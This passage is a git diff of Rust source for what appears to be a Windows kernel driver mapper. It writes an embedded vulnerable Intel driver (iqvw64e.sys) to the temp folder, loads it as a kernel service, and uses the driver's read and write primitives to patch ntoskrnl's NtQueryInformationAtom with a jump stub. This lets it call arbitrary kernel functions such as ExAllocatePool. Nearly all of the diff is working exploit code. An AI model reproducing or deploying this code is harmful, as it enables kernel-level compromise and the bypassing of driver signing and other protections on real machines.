@@ -251,11 +255,10 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 {
|
|||||||
|
|
||||||
unsafe {
|
unsafe {
|
||||||
if KERNEL_EX_ALLOCATE_POOL == 0 {
|
if KERNEL_EX_ALLOCATE_POOL == 0 {
|
||||||
KERNEL_EX_ALLOCATE_POOL = get_kernel_module_export(
|
let base = get_kernel_module_address("ntoskrnl.exe".to_string());
|
||||||
service,
|
|
||||||
get_kernel_module_address("ntoskrnl.exe") as _,
|
KERNEL_EX_ALLOCATE_POOL =
|
||||||
"ExAllocatePool",
|
get_kernel_module_export(service, base as _, "ExAllocatePool");
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut allocated_pool: u64 = 0;
|
let mut allocated_pool: u64 = 0;
|
||||||
@@ -265,14 +268,15 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 {
|
|||||||
&mut |address| {
|
&mut |address| {
|
||||||
allocated_pool =
|
allocated_pool =
|
||||||
(transmute::<*mut usize, ExAllocatePoolFn>(address))(pool_type, size as _) as _;
|
(transmute::<*mut usize, ExAllocatePoolFn>(address))(pool_type, size as _) as _;
|
||||||
|
|
||||||
true
|
true
|
||||||
},
|
},
|
||||||
KERNEL_EX_ALLOCATE_POOL,
|
KERNEL_EX_ALLOCATE_POOL,
|
||||||
) {
|
) {
|
||||||
|
println!("call kernel fn failed!");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
println!("Allocated pool: {:x}", allocated_pool);
|
||||||
allocated_pool
|
allocated_pool
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -290,7 +294,7 @@ pub fn free_pool(service: HANDLE, addy: u64) -> bool {
|
|||||||
if KERNEL_EX_FREE_POOL == 0 {
|
if KERNEL_EX_FREE_POOL == 0 {
|
||||||
KERNEL_EX_FREE_POOL = get_kernel_module_export(
|
KERNEL_EX_FREE_POOL = get_kernel_module_export(
|
||||||
service,
|
service,
|
||||||
get_kernel_module_address("ntoskrnl.exe") as _,
|
get_kernel_module_address("ntoskrnl.exe".to_string()) as _,
|
||||||
"ExFreePool",
|
"ExFreePool",
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
+264
-160
@@ -1,12 +1,18 @@
|
|||||||
use core::panic;
|
use core::panic;
|
||||||
use std::{
|
use std::{
|
||||||
ffi::{CStr, CString},
|
ffi::CStr,
|
||||||
io::{Read, Write},
|
io::{Read, Write},
|
||||||
|
path::{Path, PathBuf},
|
||||||
};
|
};
|
||||||
|
|
||||||
use winapi::{
|
use winapi::{
|
||||||
shared::ntdef::NT_SUCCESS,
|
ctypes::c_void,
|
||||||
|
shared::{
|
||||||
|
minwindef::DWORD,
|
||||||
|
ntdef::{NT_SUCCESS, ULONG},
|
||||||
|
},
|
||||||
um::{
|
um::{
|
||||||
|
errhandlingapi::SetLastError,
|
||||||
libloaderapi::{GetProcAddress, LoadLibraryA},
|
libloaderapi::{GetProcAddress, LoadLibraryA},
|
||||||
memoryapi::{VirtualAlloc, VirtualFree},
|
memoryapi::{VirtualAlloc, VirtualFree},
|
||||||
winnt::{
|
winnt::{
|
||||||
@@ -23,31 +29,37 @@ use winapi::{
|
|||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
pub static DRIVER_NAME: &str = "iqvw64e.sys\0";
|
||||||
|
|
||||||
use crate::{
|
use crate::{
|
||||||
nt,
|
nt::{self, RtlProcessModuleInformation},
|
||||||
service::{self, force_write_memory, read_memory},
|
service::{self, force_write_memory, read_memory},
|
||||||
util,
|
util,
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn create_file_from_memory(file: &str, address: usize, size: usize) -> bool {
|
pub fn get_temporary_folder_path() -> PathBuf {
|
||||||
let mut file = std::fs::File::create(file).expect("Couldn't create/open file!");
|
std::env::temp_dir()
|
||||||
|
}
|
||||||
|
|
||||||
let mut data = vec![0u8; size]; // spawn a buffer size of the memory
|
pub fn get_path_to_driver() -> PathBuf {
|
||||||
unsafe {
|
let mut path = get_temporary_folder_path();
|
||||||
std::ptr::copy(
|
path.push(DRIVER_NAME.strip_suffix('\0').unwrap());
|
||||||
address as *const i8,
|
|
||||||
data.as_mut_ptr() as *mut _,
|
|
||||||
data.len(),
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
file.write_all(data.as_slice())
|
path
|
||||||
.expect("Couldn't write file");
|
}
|
||||||
|
|
||||||
|
pub fn create_driver_file(file: &String) -> bool {
|
||||||
|
let mut file = std::fs::File::create(Path::new(file)).expect("Couldn't create/open file!");
|
||||||
|
|
||||||
|
// Thank god for this macro!
|
||||||
|
let driver = include_bytes!("../mapper/driver.sys");
|
||||||
|
|
||||||
|
file.write_all(driver).expect("Couldn't write file");
|
||||||
|
|
||||||
true
|
true
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn read_file_from_memory(file: &str, buffer: &mut Vec<u8>) -> bool {
|
pub fn read_file_to_memory(file: &String, buffer: &mut Vec<u8>) -> bool {
|
||||||
let mut file = std::fs::File::open(file).expect("Couldn't open file");
|
let mut file = std::fs::File::open(file).expect("Couldn't open file");
|
||||||
|
|
||||||
file.read_to_end(buffer).expect("Couldn't read file");
|
file.read_to_end(buffer).expect("Couldn't read file");
|
||||||
@@ -55,15 +67,19 @@ pub fn read_file_from_memory(file: &str, buffer: &mut Vec<u8>) -> bool {
|
|||||||
true
|
true
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn create_and_start_service(file: &str) -> bool {
|
pub fn create_and_start_service(file: &String) -> bool {
|
||||||
let filename = CString::new(
|
let mut filename = std::path::Path::new(file)
|
||||||
std::path::Path::new(file)
|
.file_name()
|
||||||
.file_name()
|
.expect("Couldn't get filname")
|
||||||
.expect("Couldn't get filname")
|
.to_str()
|
||||||
.to_str()
|
.expect("Couldn't convert to str")
|
||||||
.expect("Couldn't convert to str"),
|
.to_string();
|
||||||
)
|
filename.push('\0');
|
||||||
.expect("Couldn't convert to CString");
|
|
||||||
|
println!("File name: {}", filename);
|
||||||
|
|
||||||
|
let mut actual_file_path = file.to_owned();
|
||||||
|
actual_file_path.push('\0');
|
||||||
|
|
||||||
let manager = unsafe {
|
let manager = unsafe {
|
||||||
OpenSCManagerA(
|
OpenSCManagerA(
|
||||||
@@ -80,13 +96,13 @@ pub fn create_and_start_service(file: &str) -> bool {
|
|||||||
let mut service = unsafe {
|
let mut service = unsafe {
|
||||||
CreateServiceA(
|
CreateServiceA(
|
||||||
manager,
|
manager,
|
||||||
filename.as_ptr(),
|
DRIVER_NAME.as_ptr() as _,
|
||||||
filename.as_ptr(),
|
DRIVER_NAME.as_ptr() as _,
|
||||||
SERVICE_START | SERVICE_STOP | DELETE,
|
SERVICE_START | SERVICE_STOP | DELETE,
|
||||||
SERVICE_KERNEL_DRIVER,
|
SERVICE_KERNEL_DRIVER,
|
||||||
SERVICE_DEMAND_START,
|
SERVICE_DEMAND_START,
|
||||||
SERVICE_ERROR_IGNORE,
|
SERVICE_ERROR_IGNORE,
|
||||||
file.as_ptr() as *const i8,
|
actual_file_path.as_ptr() as _,
|
||||||
std::ptr::null_mut(),
|
std::ptr::null_mut(),
|
||||||
std::ptr::null_mut(),
|
std::ptr::null_mut(),
|
||||||
std::ptr::null_mut(),
|
std::ptr::null_mut(),
|
||||||
@@ -98,7 +114,7 @@ pub fn create_and_start_service(file: &str) -> bool {
|
|||||||
if service.is_null() {
|
if service.is_null() {
|
||||||
println!("Unable to create service, attempting to open instead");
|
println!("Unable to create service, attempting to open instead");
|
||||||
|
|
||||||
service = unsafe { OpenServiceA(manager, filename.as_ptr(), SERVICE_START) };
|
service = unsafe { OpenServiceA(manager, filename.as_ptr() as _, SERVICE_START) };
|
||||||
|
|
||||||
if service.is_null() {
|
if service.is_null() {
|
||||||
unsafe { CloseServiceHandle(manager) };
|
unsafe { CloseServiceHandle(manager) };
|
||||||
@@ -152,14 +168,14 @@ pub fn delete_and_stop_service(name: &str) -> bool {
|
|||||||
result
|
result
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_kernel_module_address(name: &str) -> usize {
|
pub fn get_kernel_module_address(name: String) -> u64 {
|
||||||
let mut buffer: usize = 0;
|
let mut buffer: *mut c_void = std::ptr::null_mut();
|
||||||
let mut buffer_size = 0u64;
|
let mut buffer_size: DWORD = 0;
|
||||||
|
|
||||||
let mut system_info = nt::query_system_information(&mut buffer, &mut buffer_size);
|
let mut system_info = nt::query_system_information(buffer, &mut buffer_size);
|
||||||
|
|
||||||
while system_info as u32 == nt::STATUS_INFO_LENGHT_MISMATCH {
|
while system_info.result as u32 == nt::STATUS_INFO_LENGHT_MISMATCH {
|
||||||
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
|
unsafe { VirtualFree(buffer, 0, MEM_RELEASE) };
|
||||||
|
|
||||||
buffer = unsafe {
|
buffer = unsafe {
|
||||||
VirtualAlloc(
|
VirtualAlloc(
|
||||||
@@ -169,40 +185,56 @@ pub fn get_kernel_module_address(name: &str) -> usize {
|
|||||||
PAGE_READWRITE,
|
PAGE_READWRITE,
|
||||||
)
|
)
|
||||||
} as _;
|
} as _;
|
||||||
system_info = nt::query_system_information(&mut buffer, &mut buffer_size);
|
system_info = nt::query_system_information(buffer, &mut buffer_size);
|
||||||
}
|
}
|
||||||
|
|
||||||
if !NT_SUCCESS(system_info) {
|
if !NT_SUCCESS(system_info.result) {
|
||||||
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
|
unsafe { VirtualFree(system_info.buffer, 0, MEM_RELEASE) };
|
||||||
return 0usize;
|
return 0u64;
|
||||||
}
|
}
|
||||||
|
|
||||||
let modules: nt::RtlProcessModules = unsafe { (buffer as *mut nt::RtlProcessModules).read() };
|
let modules = buffer as *mut nt::RtlProcessModules;
|
||||||
|
|
||||||
for i in 0..modules.number_of_modules {
|
unsafe {
|
||||||
let module_name = unsafe {
|
for i in 0..(*modules).number_of_modules {
|
||||||
CStr::from_ptr(
|
let current_module = (buffer as usize
|
||||||
(modules.modules[i as usize].full_path_name.as_ptr() as usize
|
+ std::mem::size_of::<ULONG>()
|
||||||
+ modules.modules[i as usize].offset_to_file_name as usize)
|
+ i as usize * std::mem::size_of::<RtlProcessModuleInformation>())
|
||||||
as _,
|
as *mut RtlProcessModuleInformation;
|
||||||
)
|
|
||||||
.to_str()
|
|
||||||
.expect("Couldn't parse name")
|
|
||||||
.to_string()
|
|
||||||
};
|
|
||||||
|
|
||||||
if module_name.eq(name) {
|
let module_name = String::from_utf8(
|
||||||
let result = modules.modules[i as usize].image_base as usize;
|
(*current_module)
|
||||||
|
.full_path_name
|
||||||
|
.iter()
|
||||||
|
.skip(4)
|
||||||
|
.map(|i| *i as u8)
|
||||||
|
.take_while(|&i| i as char != char::from(0))
|
||||||
|
.collect(),
|
||||||
|
);
|
||||||
|
|
||||||
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
|
if !module_name.is_ok() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
return result;
|
let actual_name = module_name.unwrap();
|
||||||
|
|
||||||
|
let image_base_test =
|
||||||
|
current_module as usize + std::mem::size_of::<*mut c_void>() * 2usize;
|
||||||
|
|
||||||
|
if actual_name.contains(&name) {
|
||||||
|
let result = ((image_base_test + 4usize) as *mut u64).read();
|
||||||
|
VirtualFree(buffer as _, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
// Due to call earlier we get an invalid address error-code, we can just clear it and ignore it.
|
||||||
|
SetLastError(0);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
|
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
|
||||||
|
0u64
|
||||||
0usize
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_name: &str) -> u64 {
|
pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_name: &str) -> u64 {
|
||||||
@@ -219,13 +251,16 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam
|
|||||||
&mut dos_header as *mut IMAGE_DOS_HEADER as _,
|
&mut dos_header as *mut IMAGE_DOS_HEADER as _,
|
||||||
std::mem::size_of::<IMAGE_DOS_HEADER>() as _,
|
std::mem::size_of::<IMAGE_DOS_HEADER>() as _,
|
||||||
) || dos_header.e_magic != IMAGE_DOS_SIGNATURE
|
) || dos_header.e_magic != IMAGE_DOS_SIGNATURE
|
||||||
|| !service::read_memory(
|
{
|
||||||
service,
|
return 0;
|
||||||
kernel_module_base + dos_header.e_lfanew as u64,
|
}
|
||||||
&mut nt_header as *mut IMAGE_NT_HEADERS64 as _,
|
|
||||||
std::mem::size_of::<IMAGE_NT_HEADERS64>() as _,
|
if !service::read_memory(
|
||||||
)
|
service,
|
||||||
|| nt_header.Signature != IMAGE_NT_SIGNATURE
|
kernel_module_base + dos_header.e_lfanew as u64,
|
||||||
|
&mut nt_header as *mut IMAGE_NT_HEADERS64 as _,
|
||||||
|
std::mem::size_of::<IMAGE_NT_HEADERS64>() as _,
|
||||||
|
) || nt_header.Signature != IMAGE_NT_SIGNATURE
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -260,17 +295,25 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam
|
|||||||
|
|
||||||
let delta = export_data as u64 - export_base as u64;
|
let delta = export_data as u64 - export_base as u64;
|
||||||
|
|
||||||
let name_table = unsafe { ((*export_data).AddressOfNames + delta as u32) as *mut u32 };
|
let name_table = unsafe { ((*export_data).AddressOfNames as u64 + delta) as *mut u32 };
|
||||||
let ordinal_table =
|
let ordinal_table =
|
||||||
unsafe { ((*export_data).AddressOfNameOrdinals + delta as u32) as *mut u16 };
|
unsafe { ((*export_data).AddressOfNameOrdinals as u64 + delta) as *mut u16 };
|
||||||
let function_table = unsafe { ((*export_data).AddressOfFunctions + delta as u32) as *mut u32 };
|
let function_table = unsafe { ((*export_data).AddressOfFunctions as u64 + delta) as *mut u32 };
|
||||||
|
|
||||||
for i in 0..unsafe { (*export_data).NumberOfNames } as isize {
|
for i in 0..unsafe { (*export_data).NumberOfNames } as isize {
|
||||||
let current_function_name =
|
// let current_function_name =
|
||||||
unsafe { CStr::from_ptr((name_table.offset(i).read() as u64 + delta) as _) }
|
// unsafe { CString::from_raw((name_table.offset(i).read() as u64 + delta) as _) }
|
||||||
|
// .to_str()
|
||||||
|
// .expect("Couldn't convert to str")
|
||||||
|
// .to_string();
|
||||||
|
let name_ptr = unsafe { name_table.offset(i).read() as u64 + delta } as *mut char;
|
||||||
|
let current_function_name = unsafe {
|
||||||
|
CStr::from_ptr(name_ptr as _)
|
||||||
|
.to_owned()
|
||||||
.to_str()
|
.to_str()
|
||||||
.expect("Couldn't convert to str")
|
.unwrap()
|
||||||
.to_string();
|
.to_string()
|
||||||
|
};
|
||||||
|
|
||||||
if current_function_name.eq(fn_name) {
|
if current_function_name.eq(fn_name) {
|
||||||
let fn_ordinal = unsafe { ordinal_table.offset(i).read() };
|
let fn_ordinal = unsafe { ordinal_table.offset(i).read() };
|
||||||
@@ -290,7 +333,7 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam
|
|||||||
}
|
}
|
||||||
|
|
||||||
unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) };
|
unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) };
|
||||||
panic!("Couldn't find export...");
|
panic!("Couldn't find export: {}...", fn_name);
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
||||||
@@ -306,7 +349,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
|||||||
if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_FUNCTION_ADDRESS == 0 } {
|
if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_FUNCTION_ADDRESS == 0 } {
|
||||||
let nt_gdi_ddi_reclaim_allocations2 = get_kernel_module_export(
|
let nt_gdi_ddi_reclaim_allocations2 = get_kernel_module_export(
|
||||||
service,
|
service,
|
||||||
util::get_kernel_module_address("win32kbase.sys") as _,
|
util::get_kernel_module_address("win32kbase.sys".to_string()) as _,
|
||||||
"NtGdiDdDDIReclaimAllocations2",
|
"NtGdiDdDDIReclaimAllocations2",
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -321,7 +364,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
|||||||
if !read_memory(
|
if !read_memory(
|
||||||
service,
|
service,
|
||||||
kernel_function_ptr_offset_address,
|
kernel_function_ptr_offset_address,
|
||||||
&mut function_ptr_offset,
|
&mut function_ptr_offset as *mut _ as u64,
|
||||||
std::mem::size_of::<usize>() as _,
|
std::mem::size_of::<usize>() as _,
|
||||||
) {
|
) {
|
||||||
return false;
|
return false;
|
||||||
@@ -335,7 +378,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
|||||||
!read_memory(
|
!read_memory(
|
||||||
service,
|
service,
|
||||||
KERNEL_FUNCTION_PTR,
|
KERNEL_FUNCTION_PTR,
|
||||||
&mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut u64 as *mut _,
|
&mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut _ as u64,
|
||||||
std::mem::size_of::<u64>() as _,
|
std::mem::size_of::<u64>() as _,
|
||||||
)
|
)
|
||||||
} {
|
} {
|
||||||
@@ -362,7 +405,7 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info(
|
|||||||
|
|
||||||
let nt_gdi_get_copp_compatible_opm_information_info = get_kernel_module_export(
|
let nt_gdi_get_copp_compatible_opm_information_info = get_kernel_module_export(
|
||||||
service,
|
service,
|
||||||
get_kernel_module_address("win32kbase.sys") as _,
|
get_kernel_module_address("win32kbase.sys".to_string()) as _,
|
||||||
"NtGdiGetCOPPCompatibleOPMInformation",
|
"NtGdiGetCOPPCompatibleOPMInformation",
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -370,17 +413,19 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info(
|
|||||||
println!("Unable to find NtGdiGetCOPPCompatibleOPMInformation");
|
println!("Unable to find NtGdiGetCOPPCompatibleOPMInformation");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
unsafe {
|
||||||
unsafe { KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info };
|
KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info;
|
||||||
|
}
|
||||||
|
|
||||||
if unsafe {
|
if unsafe {
|
||||||
!read_memory(
|
!read_memory(
|
||||||
service,
|
service,
|
||||||
KERNEL_FUNCTION_PTR,
|
KERNEL_FUNCTION_PTR,
|
||||||
KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _,
|
KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _ as u64,
|
||||||
(std::mem::size_of::<u8>() * KERNEL_ORIGINAL_BYTES.len() as usize) as _,
|
(std::mem::size_of::<u8>() * KERNEL_ORIGINAL_BYTES.len() as usize) as _,
|
||||||
)
|
)
|
||||||
} {
|
} {
|
||||||
|
println!("ReadMemory failed!!");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -397,113 +442,172 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info(
|
|||||||
true
|
true
|
||||||
}
|
}
|
||||||
|
|
||||||
// Since rust doesn't support variadic arguments as of now, we will return a pointer to the function, we have no choice.
|
// Smart way to do this eh?
|
||||||
pub fn call_kernel_fn(
|
pub fn call_kernel_fn(
|
||||||
service: HANDLE,
|
service: HANDLE,
|
||||||
call_function: &mut dyn FnMut(*mut usize) -> bool,
|
call_function: &mut dyn FnMut(*mut usize) -> bool,
|
||||||
mut kernel_function_address: u64,
|
kernel_function_address: u64,
|
||||||
) -> bool {
|
) -> bool {
|
||||||
if kernel_function_address == 0 {
|
if kernel_function_address == 0 {
|
||||||
return false;
|
panic!("Kernel export apparently 0? What are we gonna do about it?");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Wrap entire function because why not.
|
// Wrap entire function because why not.
|
||||||
unsafe {
|
unsafe {
|
||||||
let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress(
|
let nt_query_information_atom = GetProcAddress(
|
||||||
LoadLibraryA("gdi32full.dll".as_ptr() as _),
|
LoadLibraryA("ntdll.dll\0".as_ptr() as _),
|
||||||
"NtGdiDdDDIReclaimAllocations2".as_ptr() as _,
|
"NtQueryInformationAtom\0".as_ptr() as _,
|
||||||
);
|
|
||||||
let nt_gdi_get_copp_compatible_opm_information = GetProcAddress(
|
|
||||||
LoadLibraryA("win32u.dll".as_ptr() as _),
|
|
||||||
"NtGdiGetCOPPCompatibleOPMInformation".as_ptr() as _,
|
|
||||||
);
|
);
|
||||||
|
|
||||||
if nt_gdi_dd_ddi_reclaim_allocations.is_null()
|
if nt_query_information_atom.is_null() {
|
||||||
&& nt_gdi_get_copp_compatible_opm_information.is_null()
|
panic!("Couldn't find target function, are you on 20h2?")
|
||||||
{
|
|
||||||
panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut kernel_fn_pointer: u64 = 0;
|
let mut kernel_injected_jmp: [u8; 12] = [
|
||||||
let mut kernel_function_jmp: [u8; 12] = [
|
|
||||||
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0,
|
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0,
|
||||||
];
|
];
|
||||||
let mut kernel_original_function_address: u64 = 0;
|
let mut original_kernel_fn = vec![0u8; 12];
|
||||||
let mut kernel_original_function_jmp = vec![0u8, 12];
|
|
||||||
|
|
||||||
if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
|
((kernel_injected_jmp.as_mut_ptr() as usize + 2usize) as *mut u64)
|
||||||
// Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2
|
.write(kernel_function_address);
|
||||||
// and save the original address (dxgkrnl!DxgkReclaimAllocations2)
|
|
||||||
if !get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
|
||||||
service,
|
|
||||||
&mut kernel_fn_pointer,
|
|
||||||
&mut kernel_original_function_address,
|
|
||||||
) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Overwrite the pointer with kernel_function_address
|
let kernel_nt_query_information_atom = get_kernel_module_export(
|
||||||
if !force_write_memory(
|
service,
|
||||||
service,
|
get_kernel_module_address("ntoskrnl.exe".to_string()),
|
||||||
kernel_fn_pointer,
|
"NtQueryInformationAtom",
|
||||||
&mut kernel_function_address as *mut u64 as _,
|
);
|
||||||
std::mem::size_of::<u64>() as _,
|
|
||||||
) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
if !get_nt_gdi_get_copp_compatible_opm_information_info(
|
|
||||||
service,
|
|
||||||
&mut kernel_fn_pointer,
|
|
||||||
kernel_original_function_jmp.as_mut_ptr(),
|
|
||||||
) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'
|
if kernel_nt_query_information_atom == 0 {
|
||||||
std::ptr::copy(
|
println!("Couldn't get export ntoskrnl.NtQueryInformationAtom");
|
||||||
&kernel_function_address,
|
return false;
|
||||||
(kernel_function_jmp.as_ptr() as usize + 2usize) as _,
|
|
||||||
std::mem::size_of::<u64>(),
|
|
||||||
);
|
|
||||||
|
|
||||||
if !force_write_memory(
|
|
||||||
service,
|
|
||||||
kernel_fn_pointer,
|
|
||||||
kernel_function_jmp.as_mut_ptr() as *mut _,
|
|
||||||
(std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
|
|
||||||
) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut function = std::ptr::null_mut();
|
if !read_memory(
|
||||||
if !nt_gdi_get_copp_compatible_opm_information.is_null() {
|
service,
|
||||||
function = nt_gdi_get_copp_compatible_opm_information;
|
kernel_nt_query_information_atom,
|
||||||
} else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
|
original_kernel_fn.as_mut_ptr() as _,
|
||||||
function = nt_gdi_dd_ddi_reclaim_allocations;
|
kernel_injected_jmp.len() as _,
|
||||||
|
) {
|
||||||
|
println!("Couldn't read memory");
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if !function.is_null() {
|
if !force_write_memory(
|
||||||
call_function(function as _);
|
service,
|
||||||
|
kernel_nt_query_information_atom,
|
||||||
|
kernel_injected_jmp.as_ptr() as _,
|
||||||
|
kernel_injected_jmp.len() as _,
|
||||||
|
) {
|
||||||
|
println!("Couldn't write memory");
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
|
call_function(nt_query_information_atom as _);
|
||||||
force_write_memory(
|
|
||||||
service,
|
if !force_write_memory(
|
||||||
kernel_fn_pointer,
|
service,
|
||||||
&mut kernel_original_function_address as *mut u64 as _,
|
kernel_nt_query_information_atom,
|
||||||
std::mem::size_of::<u64>() as _,
|
original_kernel_fn.as_mut_ptr() as _,
|
||||||
);
|
original_kernel_fn.len() as _,
|
||||||
} else {
|
) {
|
||||||
force_write_memory(
|
println!("Couldn't restore function!");
|
||||||
service,
|
return false;
|
||||||
kernel_fn_pointer,
|
|
||||||
kernel_original_function_jmp.as_mut_ptr() as *mut _,
|
|
||||||
(std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NOTE: this is for older versions of windows!
|
||||||
|
// let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress(
|
||||||
|
// LoadLibraryA("gdi32full.dll\0".as_ptr() as _),
|
||||||
|
// "NtGdiDdDDIReclaimAllocations2\0".as_ptr() as _,
|
||||||
|
// );
|
||||||
|
// let nt_gdi_get_copp_compatible_opm_information = GetProcAddress(
|
||||||
|
// LoadLibraryA("win32u.dll\0".as_ptr() as _),
|
||||||
|
// "NtGdiGetCOPPCompatibleOPMInformation\0".as_ptr() as _,
|
||||||
|
// );
|
||||||
|
|
||||||
|
// if nt_gdi_dd_ddi_reclaim_allocations.is_null()
|
||||||
|
// && nt_gdi_get_copp_compatible_opm_information.is_null()
|
||||||
|
// {
|
||||||
|
// panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation");
|
||||||
|
// }
|
||||||
|
|
||||||
|
// let mut kernel_fn_pointer: u64 = 0;
|
||||||
|
// let mut kernel_original_function_address: u64 = 0;
|
||||||
|
// let mut kernel_original_function_jmp = vec![0u8, 12];
|
||||||
|
|
||||||
|
// if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
|
||||||
|
// // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2
|
||||||
|
// // and save the original address (dxgkrnl!DxgkReclaimAllocations2)
|
||||||
|
// if !get_nt_gdi_dd_ddl_reclaim_allocations_info(
|
||||||
|
// service,
|
||||||
|
// &mut kernel_fn_pointer,
|
||||||
|
// &mut kernel_original_function_address,
|
||||||
|
// ) {
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
|
||||||
|
// // Overwrite the pointer with kernel_function_address
|
||||||
|
// if !force_write_memory(
|
||||||
|
// service,
|
||||||
|
// kernel_fn_pointer,
|
||||||
|
// &mut kernel_function_address as *mut u64 as _,
|
||||||
|
// std::mem::size_of::<u64>() as _,
|
||||||
|
// ) {
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
// } else {
|
||||||
|
// if !get_nt_gdi_get_copp_compatible_opm_information_info(
|
||||||
|
// service,
|
||||||
|
// &mut kernel_fn_pointer,
|
||||||
|
// kernel_original_function_jmp.as_mut_ptr(),
|
||||||
|
// ) {
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
|
||||||
|
// // Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'
|
||||||
|
// std::ptr::copy(
|
||||||
|
// &kernel_function_address,
|
||||||
|
// (kernel_function_jmp.as_ptr() as usize + 2usize) as _,
|
||||||
|
// std::mem::size_of::<u64>(),
|
||||||
|
// );
|
||||||
|
|
||||||
|
// if !force_write_memory(
|
||||||
|
// service,
|
||||||
|
// kernel_fn_pointer,
|
||||||
|
// kernel_function_jmp.as_mut_ptr() as *mut _,
|
||||||
|
// (std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
|
||||||
|
// ) {
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
|
||||||
|
// let mut function = std::ptr::null_mut();
|
||||||
|
// if !nt_gdi_get_copp_compatible_opm_information.is_null() {
|
||||||
|
// function = nt_gdi_get_copp_compatible_opm_information;
|
||||||
|
// } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
|
||||||
|
